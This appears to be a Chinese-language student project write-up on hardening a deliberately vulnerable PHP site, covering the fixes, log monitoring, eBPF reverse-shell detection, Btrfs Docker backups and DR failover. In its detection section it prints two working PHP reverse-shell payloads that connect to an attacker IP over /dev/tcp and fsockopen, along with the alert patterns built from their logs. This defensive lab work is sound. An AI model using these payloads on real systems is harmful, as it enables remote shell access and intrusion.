[TOC]
# 資安強化實作架構建議
:::spoiler
PPT
https://www.canva.com/design/DAGpaN2AatU/T_c0pt9rD-jlCt3qeVHmhQ/edit?utm_content=DAGpaN2AatU&utm_campaign=designshare&utm_medium=link2&utm_source=sharebutton
:::
## 身份驗證與記錄審計測試系統 POC
- 目標:展示從零開始打造一個具備安全性的網站服務
- 情境設定:一個初始版本充滿安全漏洞的網站
- 報告範疇:從建站、建立監控、攻擊方的角度發現漏洞、監控分析漏洞、修復、預警機制與備份
## 故事開始
- Gary 希望他隨時都可以在任何地方任何設備進行觀看他喜歡的影片,所以委托了 Peter 開發一個綫上的儲存 “壞壞” 網頁
## 網站安全合規性
網路安全合規性是指遵守旨在保護敏感資訊和系統免受網路威脅的特定規則、法規和最佳實踐。它確保組織的安全措施符合監管標準和準則。這些標準旨在保護敏感資料的完整性、機密性和可用性免受各種網路威脅。
但由於時間和難度我們取了 NIST-SCF-800 其中的 53r5、53Ar5、53B、63-4、63A-4、63B-4、63C-4 部分章節為主來完善系統。
資料來源
:::spoiler
NIST.SP.800-53r5
NIST.SP.800-53B
NIST.SP.800-53Ar5
NIST.SP.800-63-4
NIST.SP.800-63A-4
NIST.SP.800-63B-4
NIST.SP.800-63C-4
NIST
https://csrc.nist.gov/publications/sp800
:::
NIST SP 800-53:安全與隱私控制框架
- 全名: Security and Privacy Controls for Information Systems and Organizations
- 目的:
提供政府與企業系統一套完整的資訊安全與隱私控制對策
協助建立風險導向的安全架構
- 核心内容:
控制類別(Control Families):將安全與隱私控制分為 20個控制家族(families),每個家族聚焦於資訊安全或隱私的某個方面
控制等級(Baseline):根據不同等級的風險與影響程度,劃分出三種「基準(Baseline)」安全等級:
| 等級 | 名稱 | 適用情境 |
|---------|----------|----------------------------------------------------|
| Low | 低風險 | 非敏感或對組織影響小的系統 |
| Moderate| 中等風險 | 大多數系統屬此級,損害有中度影響 |
| High | 高風險 | 涉及國安、機密或對組織有重大影響的系統
- 涵蓋面向:
系統與通訊保護(如 HTTPS、TLS)
存取控制(如帳號權限)
審計與監控(如 log 記錄與監控)
身份與認證管理
事件回應計畫
- 我們的應用:
移除權限過多的帳號
透過 Log 與 Metrics 監控異常行為
NIST SP 800-63:數位身份驗證指南
- 全名: Digital Identity Guidelines
- 目的:
指導如何建立安全的身份驗證流程,特別是網站登入與身分確認機制
- 核心內容包含:
身份驗證等級(AAL):帳號登入安全性分級(密碼、多因子、手機驗證等)
身份保證等級(IAL):身分驗證真實性(例如使用真實證件比對)
聯邦身分驗證架構(FIA):適用於政府與企業 SSO、OAuth 等應用
**權衡安全、公平、便利**
- 我們的應用:
使用參數化查詢防止 sqli
## 初始版本:漏洞網站展示
登錄頁面

這邊很明顯的就是 SQL injection 的漏洞

這裡面雖然嘗試過濾 / 但限制條件 substr($raw_name, 16) 太過脆弱,且只檢查 /。可透過 %2f、..%2f..%2f、長度繞過等技巧繞過限制。normalize_path 雖然處理了 ..,但組合錯誤路徑一樣可能造成資訊洩露。

debug user 嚴重資訊洩露,可能成為攻擊者提供初始登入方式

沒有對上傳檔案的類型、名稱、內容做任何過濾。
攻擊者可上傳 .php Webshell,並嘗試透過 /file?name=... 或其他方式執行。
可用於 RCE(遠端程式碼執行)。

可透過 /file?name=... 指定上傳或伺服器內任意 PHP 檔案,使其被 include
## 安全加固過程與修復措施

防止一般的 SQL Injection

保留安全的檔案下載路由,並移除不必要的「路徑遍歷 / 執行 PHP」功能

把多餘的 api 去掉

强制下載防止瀏覽器直接打開上傳檔案(例如圖片、HTML、PHP)造成 XSS 或 RCE

Session 驗證檢查與重導向在所有保護區(如 /dashboard、/upload、/file)都有加入
## 安全監控與事件偵測
用ping的 如果沒有回應 就開啟DR模式

==凡是走過必定留下痕跡==
Log 監控:從哪裡開始?
網站與伺服器在運作過程中,預設會產生大量不同類型的 log 檔。
- 有效建立安全監控,不能什麼都監控
- 「高風險、最容易被攻擊的 log」開始入手
:::info
那就要先知道哪裡有基本 log
參考這篇
Linux 常見 Log 檔名部分 - 由 Anna Chiang ( LSA 學姐 )
https://hackmd.io/YYakmTdjTA6-MeSTqJSvRA?view
:::
::: info
Log(日誌) 就是電腦系統或軟體在運作過程中,自動紀錄下來的事件、行為或錯誤資訊。
就像監視器會錄影,Log 是系統留下的「文字紀錄」,可以幫助管理員了解==系統發生了什麼事、什麼人做了什麼、什麼時候發生問題。==
Metrics(指標) 是系統或應用程式在運作過程中,可被量化的數據資訊。
這些數據可以持續收集、分析、繪圖,用來了解「系統資源」或「服務狀態」是否正常
為什麼是 Metrics 監控?
- 持續觀測這些指標變化,畫成圖表、設定警報
- 即時掌握系統是否「健康」或出現「異常」
:::
爲什麽 Log 與 Metrics 要一起用
- Metrics 可以讓你「發現有問題」
- Log 可以幫你「找出問題原因」
Promtail : 收集本地的 Log 內容,並將它們加上標籤後發送到 Loki
Loki : 索引由 Promtail 添加的標籤 ( 即 Meta-data ),成本更低。
> Meta-data : 一群資料,其內容提供了有關於另一群資料的資訊
Grafana : 數據可視化和儀表板工具,它可以連接多種數據源 ( Loki & Prometheus )
Prometheus : 收集和儲存時間序列數據(Metrics)
我們透過工具找的:
Web-Server-Logs

Docker-Logs

:::warning
根據這次事件,反彈 shell 偵測不到 ?
:::
開始著手 shell 偵測
eBPF :
核心動態追蹤機制在一些系統穴位上扎一些「針」( 掛 hookpoint ),只要系統 ( kernal 內 ) 有動到「針」,就會被記錄。
:::info
詳細請看這篇
Linux 核心設計: 透過 eBPF 觀察作業系統行為
https://hackmd.io/@sysprog/linux-ebpf
:::
shell-logs

最後資訊都出來了 ! ! !
DashBoard

==知道事情了,但是要 "及時通知"==
```mermaid
graph TD
A[被監控主機] --> B[指標、log(CPU, RAM, log...)]
B --> C[收集器(Prometheus, Loki)]
C --> D[可視化儀表板(Grafana)]
D --> E[警報系統(TG, LINE, Discord)]
```
我們選擇掛 Discord webhook !


==什麼樣的"事件"要通知?==
特徵 pattern
:::spoiler
php內指令1.
```php
<?php
$ip = '192.168.100.144'; // ← 改成你的攻擊機 IP
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/bash -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
?>
```
php內指令2.
```php
<?php
exec("bash -c 'sh -i >& /dev/tcp/192.168.100.144/4444 0>&1'");
?>
```
:::
:::info
==反彈 SHELL 指令1產出LOG==
Time: 02:52:57
UID=33 PID=15686 CMD=php-fpm FILE=/bin/sh
ARGV[0]: sh
ARGV[1]: -c
ARGV[2]: bash -c 'sh -i >& /dev/tcp/192.168.100.144/4444 0>&1'
ARGV[3]:
ARGV[4]:
ARGV[5]:
ARGV[6]:
ARGV[7]:
ARGV[8]:
ARGV[9]:
Time: 02:56:55
UID=1000 PID=16181 CMD=su FILE=/bin/bash
ARGV[0]: bash
ARGV[1]:
ARGV[2]:
ARGV[3]:
ARGV[4]:
ARGV[5]:
ARGV[6]:
ARGV[7]:
ARGV[8]:
ARGV[9]:
:::
alert設置
CMD=php-fpm
CMD=su
:::info
==反彈 SHELL 指令2 產出LOG==
UID=33 PID=21584 CMD=sh FILE=/bin/bash
ARGV[0]: /bin/bash
ARGV[1]: -i
ARGV[2]:
ARGV[3]: USER=www-data
ARGV[4]: HOSTNAME=9b41ff617925
ARGV[5]: PHP_INI_DIR=/usr/local/etc/php
ARGV[6]: SHLVL=0
ARGV[7]: HOME=/var/www
ARGV[8]: PHP_LDFLAGS=-Wl,-O1 -pie
ARGV[9]: PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFIL
:::
alert設置
CMD=su
ARGV[i]:www-data (參數中有 www-data 代表 server 預設使用者不應該被登入)
alert 方針
CMD=php-fpm #warning ( 用某些 revershell 會有這樣的 Log )
su #warning ( su 是在提權中常用的指令 )
Log 參數中有出現 www-data #verydanger
有撈出登入者為 www-data ( server 預設使用者不應該被登入 )
出來啦~

## docker-bakeup
這是一個針對 Docker Compose 專案的備份還原工具,專為使用 Btrfs 檔案系統的環境設計。此工具可自動備份整個專案結構、Volumes 與 Bind Mounts,並能輕鬆還原至指定狀態。
## 系統需求
- 檔案系統需為 **Btrfs**。
- 或是需備份的資料夾所在為 **Btrfs** (docker 所在資料夾、專案所在資料夾、volumes 所在資料夾)
- 被備份的 Docker Compose 專案需儲存在以下路徑:
- `/home/<username>/project/<your project dir>/`
- 會需要 run **docker registry** 來達成 image 的增量備份
## 備份結構說明
備份資料將儲存在 `/home/<username>/backup/docker/` 下,以專案名稱命名的資料夾中,每次備份會以 timestamp 為子資料夾名稱。
```
/home/<username>/backup/docker/
└── <project name>/
└── <timestamp>/
├── docker-compose.yaml # 專案的 compose 檔案
├── metadata.txt # 備份過程記錄(如時間、成功與否、相關訊息)
├── project/ # 專案完整內容
├── binds/ # 非專案目錄內的 bind mount 內容(base64 編碼目錄名)
└── volumes/ # 使用到的 volumes(以 volume 名為目錄名)
```
* `binds/`:僅包含非專案目錄下的 bind mounts。其資料夾名稱為原始路徑的 base64 編碼。
* `volumes/`:以 volume 名稱為資料夾名,包含 volume 的完整內容。
## 使用方式
### 備份
請在 Docker Compose 專案目錄下執行以下指令:
```bash
sudo ./backup.sh
```
此指令會自動:
* 偵測專案名稱
* 匯出 `docker-compose.yaml`
* 備份專案檔案、bind mounts、以及 volumes
* 儲存至 `/home/<username>/backup/docker/<project name>/<timestamp>/`
### 還原
執行以下指令並指定要還原的備份資料夾(timestamp 資料夾):
```bash
sudo ./restore.sh /home/<username>/backup/docker/<project name>/<timestamp>
```
還原後會將資料放置於:
```
/home/<username>/project/<project name>/
```
接著即可啟動服務:
```bash
cd /home/<username>/project/<project name>/
```
- **simple structure**

### backup.sh
``` bash
# 定義 timestamp 和備份目錄
TIMESTAMP=$(date +%Y%m%d_%H%M%S)
DOCKER_DIR="/var/lib/docker"
SOURCE_DIR="/home/drsite/project/php_ctf"
BACKUP_DIR="/home/drsite/backup/docker"
CURRENT_DIR=$(basename "$SOURCE_DIR")
```
檢查backup、source路徑是否在 btrfs 的 filesystem 下
```bash
# 檢查 Btrfs
check_btrfs() {
local path=$1
if ! df -T "$path" | grep -q btrfs; then
echo "錯誤:$path 不是 Btrfs 文件系統"
exit 1
fi
}
check_btrfs "$BACKUP_DIR"
check_btrfs "$SOURCE_DIR/.."
```
創建紀錄檔案 metadata.txt
```
# 創建 metadata 檔案
METADATA="$BACKUP_BASE/metadata.txt"
echo "Backup Time: $TIMESTAMP" > "$METADATA"
echo "Project Path: $PROJECT_ABS_PATH" >> "$METADATA"
echo "===========================================" >> "$METADATA"
```
判斷是否為 btrfs
```
# 判斷路徑是否為 btrfs subvolume(inode 是否為 256)
is_subvolume() {
local path=$1
if [ ! -e "$path" ]; then
return 1
fi
local inode=$(stat -c '%i' "$path")
if [ "$inode" = "256" ]; then
return 0
else
return 1
fi
}
```
看看 bind mount 是否在專案資料夾內
```
# 檢查路徑是否在專案資料夾內
is_path_in_project() {
local path=$1
local abs_path=$(realpath "$path" 2>/dev/null)
# 如果無法取得絕對路徑,視為不在專案內
if [ -z "$abs_path" ]; then
return 1
fi
# 檢查是否為專案路徑的子路徑
case "$abs_path" in
"$PROJECT_ABS_PATH"*)
return 0
;;
*)
return 1
;;
esac
}
```
```
# 備份路徑(非子卷時先轉換為 subvolume)
create_subvolume() {
local volume_name=$1
local volume_path=$2
local backup_base=$3
local backup_path="$backup_base/${volume_name}_backup_$TIMESTAMP"
echo "非子卷,備份整個路徑 $volume_path 到 $backup_path" >> "$METADATA"
mkdir -p "$backup_base" || {
echo "建立備份目錄 $backup_base 失敗"; return 1;
}
# 複製資料到備份目錄
rsync -a "$volume_path/" "$backup_path/" || {
echo "備份路徑 $volume_path 失敗"; return 1;
}
# 刪除原本路徑的資料,重新建立 subvolume
echo "刪除原路徑資料 $volume_path" >> "$METADATA"
rm -rf "$volume_path" || {
echo "刪除路徑資料失敗"; return 1;
}
# 建立 subvolume
btrfs subvolume create "$volume_path" || {
echo "建立 subvolume 失敗"; return 1;
}
echo "還原備份資料回路徑 $volume_path" >> "$METADATA"
rsync -a "$backup_path/" "$volume_path/" || {
echo "還原備份資料失敗"; return 1;
}
# 清理暫存備份
rm -rf "$backup_path" || echo "清理暫存備份失敗" >> "$METADATA"
echo "路徑轉換為 subvolume 完成: $volume_path" >> "$METADATA"
}
```
```
# 執行 btrfs 快照備份
perform_btrfs_backup() {
local source_path=$1
local backup_file=$2
local backup_file_end=$3
local snap_name=$4
local description=$5
echo "開始 $description 備份: $source_path"
# 檢查是否為 subvolume,如果不是則先轉換
if ! is_subvolume "$source_path"; then
echo "$description 非 subvolume,轉換為 subvolume" >> "$METADATA"
local temp_name=$(basename "$source_path" | tr '/' '_')
mkdir -p "/tmp/btrfs_convert"
create_subvolume "$temp_name" "$source_path" "/tmp/btrfs_convert"
rm -rf "/tmp/btrfs_convert"
fi
local snap_new="$SOURCE_DIR/../${CURRENT_DIR}_snap_tmp/${snap_name}_$TIMESTAMP"
local old_snap=$(find "$SOURCE_DIR/../${CURRENT_DIR}_snap_tmp/" -maxdepth 1 -type d -name "${snap_name}_*" ! -name "${snap_name}_$TIMESTAMP" | head -n 1)
# 建立新的 readonly snapshot
btrfs subvolume snapshot -r "$source_path" "$snap_new" || {
echo "$description snapshot 建立失敗" >> "$METADATA"
return 1
}
# 執行增量或完整備份
if [ -d "$old_snap" ]; then
echo "執行 $description 增量備份" >> "$METADATA"
btrfs send -p "$old_snap" "$snap_new" | gzip > "${backup_file}/incre${backup_file_end}" || {
echo "$description 增量備份失敗" >> "$METADATA"
return 1
}
# 刪除舊的 snapshot
btrfs subvolume delete "$old_snap" || echo "刪除舊 $description snapshot 失敗" >> "$METADATA"
else
echo "執行 $description 完整備份" >> "$METADATA"
btrfs send "$snap_new" | gzip > "${backup_file}/full${backup_file_end}" || {
echo "$description 完整備份失敗" >> "$METADATA"
return 1
}
fi
echo "$description 備份完成: $backup_file" >> "$METADATA"
return 0
}
```
```
# 1. 備份整個專案資料夾
echo "===========================================" >> "$METADATA"
echo "開始備份專案資料夾" >> "$METADATA"
echo "開始備份專案資料夾: $PROJECT_ABS_PATH"
perform_btrfs_backup "$PROJECT_ABS_PATH" "$PROJECT_BACKUP_DIR" ".project.btrfs.gz" "project_snap" "專案資料夾"
echo "專案資料夾備份完成" >> "$METADATA"
# 從 docker-compose.yaml 讀取服務
cd "$SOURCE_DIR" || { echo "無法進入 $SOURCE_DIR"; exit 1; }
SERVICES=$(docker compose ps -aq)
if [ -z "$SERVICES" ]; then
echo "錯誤:未找到任何服務"
exit 1
fi
# 停止所有容器以確保一致性
echo "停止 Docker Compose 服務..."
docker compose stop || { echo "停止容器失敗"; exit 1; }
echo "===========================================" >> "$METADATA"
echo "開始備份容器資料" >> "$METADATA"
# 收集所有 volumes 和 binds
declare -A ALL_VOLUMES
declare -A ALL_BINDS
```
```
# 2. 備份所有 image
echo "===========================================" >> "$METADATA"
echo "開始備份 images (push to registry)" >> "$METADATA"
echo "開始備份 Images (push to registry)..."
VERSION="${TIMESTAMP}"
docker commit "$CONTAINER_NAME" "localhost:5000/${CONTAINER_NAME}:$VERSION" || { echo "提交 $CONTAINER_NAME 失敗"; exit 1; }
docker push "localhost:5000/${CONTAINER_NAME}:$VERSION" || { echo "上傳 $CONTAINER_NAME 到 Registry 失敗"; exit 1; }
echo "$CONTAINER_NAME image: localhost:5000/${CONTAINER_NAME}:$VERSION" >> "$METADATA"
# 刪除本地容器所對應的 image(例如 commit 後的那個)
IMAGE_ID=$(docker images -q "$CONTAINER_NAME")
if [ -n "$IMAGE_ID" ]; then
docker rmi "$IMAGE_ID"
fi
# 刪除 registry 上的 image
REGISTRY_IMAGE="localhost:5000/${CONTAINER_NAME}:$VERSION"
if docker images "$REGISTRY_IMAGE" | grep -q "$VERSION"; then
docker rmi "$REGISTRY_IMAGE"
fi
```
### 傳輸
```shell=
sudo /home/primal/backup.sh
sudo /home/primal/registry_sync.sh
rsync -av /home/primal/backup/* drsite@10.107.47.110:/home/drsite/backup/
```
### 還原

檢查腳本是否至少接收一個備份目錄路徑參數,若不足則顯示使用說明和選項

初始化腳本參數,將第一個命令列參數設為備份路徑,並設置還原專案資料夾、Docker 卷和綁定掛載的開關為啟用,預覽模式和強制還原為禁用

根據指定的標誌(--project-only、--volumes-only...)
設置還原範圍(專案、卷或綁定掛載)以及
預覽模式(--dry-run)或強制還原(--force)
檢查備份目錄和元數據文件是否存在,並驗證元數據文件中是否包含專案路徑資訊

元數據文件中提取原始專案路徑並儲存到 ORIGINAL_PROJECT_PATH,並定義 Docker 數據目錄為 /var/lib/docker

定義備份子目錄

顯示還原計劃,列出將還原的專案資料夾、Docker 卷和綁定掛載(根據對應布林變數)

is_subvolume 函數,檢查指定路徑是否為 Btrfs 子卷,通過驗證路徑是否存在及其 inode 編號是否為 256

restore_btrfs_backup 函數,負責從指定的 Btrfs 備份文件還原數據到目標路徑

Btrfs 備份文件是否存在,若存在則執行還原操作(或在預覽模式下模擬還原),包括創建父目錄、備份現有目標路徑數據,並顯示相關資訊

查找還原後的 subvolume 並重新命名

確認還原操作:這段代碼在非強制模式且非預覽模式下,提示用戶還原將覆蓋數據並要求輸入確認(y/Y)

若需還原專案或 volumes,則嘗試停止專案中的 Docker Compose 服務以避免資料衝突

需要還原專案時,從壓縮的 btrfs 備份檔中還原專案資料夾至原始路徑

需還原 Docker volumes,則逐一從備份目錄中提取並還原每個 volume 的資料至對應路徑

需還原 bind mounts,則根據 metadata 對應關係,將每個備份檔還原到原始掛載路徑

重新啟動docker
### DNS 接管
1. 使用 ngrok 將內網映射到公用 IP
`ngrok http 8080`

2. DNS_SERVER 接收來自 DRSITE 發送的訊號(一個檔案)
```bash
#!/bin/bash
MAIN_HOST="10.107.13.83"
DR_HOST="10.107.47.110"
SERVICE_PORT=8080
DNS_FLAG_FILE="/home/dnsserver/dns_request"
TUNNEL_PORT=$SERVICE_PORT
# 檢查是否已有現有 SSH Tunnel
check_existing_tunnel() {
lsof -i TCP:$TUNNEL_PORT | grep ssh >/dev/null
}
# 清除現有的 SSH Tunnel
kill_existing_tunnel() {
pkill -f "ssh -L $SERVICE_PORT"
}
# 使用 curl 檢查某個主機:PORT 是否可連
check_curl() {
local HOST=$1
curl --silent --max-time 3 http://$HOST:$SERVICE_PORT >/dev/null
return $?
}
# 若 tunnel 存在則先清除
if check_existing_tunnel; then
echo "移除現有的 SSH Tunnel..."
kill_existing_tunnel
fi
# 嘗試連接主站
if check_curl $MAIN_HOST; then
echo "主站可連線,建立 MAIN_HOST tunnel"
ssh -L $SERVICE_PORT:$MAIN_HOST:$SERVICE_PORT -N -f primal@$MAIN_HOST
[ -f "$DNS_FLAG_FILE" ] && rm -f "$DNS_FLAG_FILE"
else
if [ ! -f "$DNS_FLAG_FILE" ]; then
echo "主站無回應,檢查備援站..."
if check_curl $DR_HOST; then
echo "備援站可用,建立 DR_HOST tunnel"
ssh -L $SERVICE_PORT:$DR_HOST:$SERVICE_PORT -N -f drsite@$DR_HOST
touch "$DNS_FLAG_FILE"
else
echo "主站與備援站皆無回應,不執行任何 tunnel"
fi
else
echo "已經在備援狀態,主站仍不可用,不切換"
fi
fi
```
